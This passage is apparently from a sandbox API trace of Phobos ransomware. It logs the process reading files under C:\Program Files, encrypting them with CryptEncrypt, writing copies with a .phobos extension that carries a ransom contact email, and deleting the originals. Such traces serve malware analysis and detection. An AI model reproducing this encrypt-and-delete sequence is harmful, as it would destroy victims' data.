lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x2010, lpOverlapped=0x0) returned 1 [0048.057] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc8d0) returned 1 [0048.057] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0048.057] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0048.057] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0048.057] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0048.057] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0048.057] CloseHandle (hObject=0x31c) returned 1 [0048.057] CloseHandle (hObject=0x328) returned 1 [0048.058] DeleteFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0048.059] SetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", dwFileAttributes=0x27) returned 1 [0048.059] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0048.060] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=4782) returned 1 [0048.060] CloseHandle (hObject=0x328) returned 1 [0048.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 0x20 [0048.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0048.060] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0048.060] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0048.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.061] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc9d0) returned 1 [0048.061] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0048.061] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x12ae, lpOverlapped=0x0) returned 1 [0048.112] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x12b0, dwBufLen=0x12b0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x12b0) returned 1 [0048.112] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x12b0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x12b0, lpOverlapped=0x0) returned 1 [0048.113] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc790) returned 1 [0048.113] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0048.113] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x60, dwBufLen=0x60 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x60) returned 1 [0048.113] CryptDestroyKey (hKey=0x10dc790) returned 1 [0048.113] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x112, lpOverlapped=0x0) returned 1 [0048.113] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0048.113] CloseHandle (hObject=0x328) returned 1 [0048.113] CloseHandle (hObject=0x31c) returned 1 [0048.241] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 1 [0048.249] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.274] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=791421) returned 1 [0048.274] CloseHandle (hObject=0x31c) returned 1 [0048.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0048.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.277] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.280] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=48936) returned 1 [0048.280] CloseHandle (hObject=0x31c) returned 1 [0048.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0048.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.282] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.284] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=84190) returned 1 [0048.284] CloseHandle (hObject=0x31c) returned 1 [0048.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0048.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.285] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.285] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=180172) returned 1 [0048.285] CloseHandle (hObject=0x31c) returned 1 [0048.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0048.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.287] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.299] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=181964) returned 1 [0048.299] CloseHandle (hObject=0x31c) returned 1 [0048.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0048.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.299] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.301] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1434) returned 1 [0048.301] CloseHandle (hObject=0x31c) returned 1 [0048.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0048.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.302] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.322] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=903) returned 1 [0048.322] CloseHandle (hObject=0x31c) returned 1 [0048.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0048.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.322] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.323] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3333) returned 1 [0048.323] CloseHandle (hObject=0x31c) returned 1 [0048.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0048.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.324] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.342] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=247) returned 1 [0048.342] CloseHandle (hObject=0x31c) returned 1 [0048.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0048.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.342] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.343] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=738) returned 1 [0048.343] CloseHandle (hObject=0x31c) returned 1 [0048.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0048.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.344] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.344] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=488) returned 1 [0048.344] CloseHandle (hObject=0x31c) returned 1 [0048.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0048.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.347] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.352] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=15097) returned 1 [0048.352] CloseHandle (hObject=0x31c) returned 1 [0048.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0048.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.353] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.355] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=10947) returned 1 [0048.355] CloseHandle (hObject=0x31c) returned 1 [0048.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft 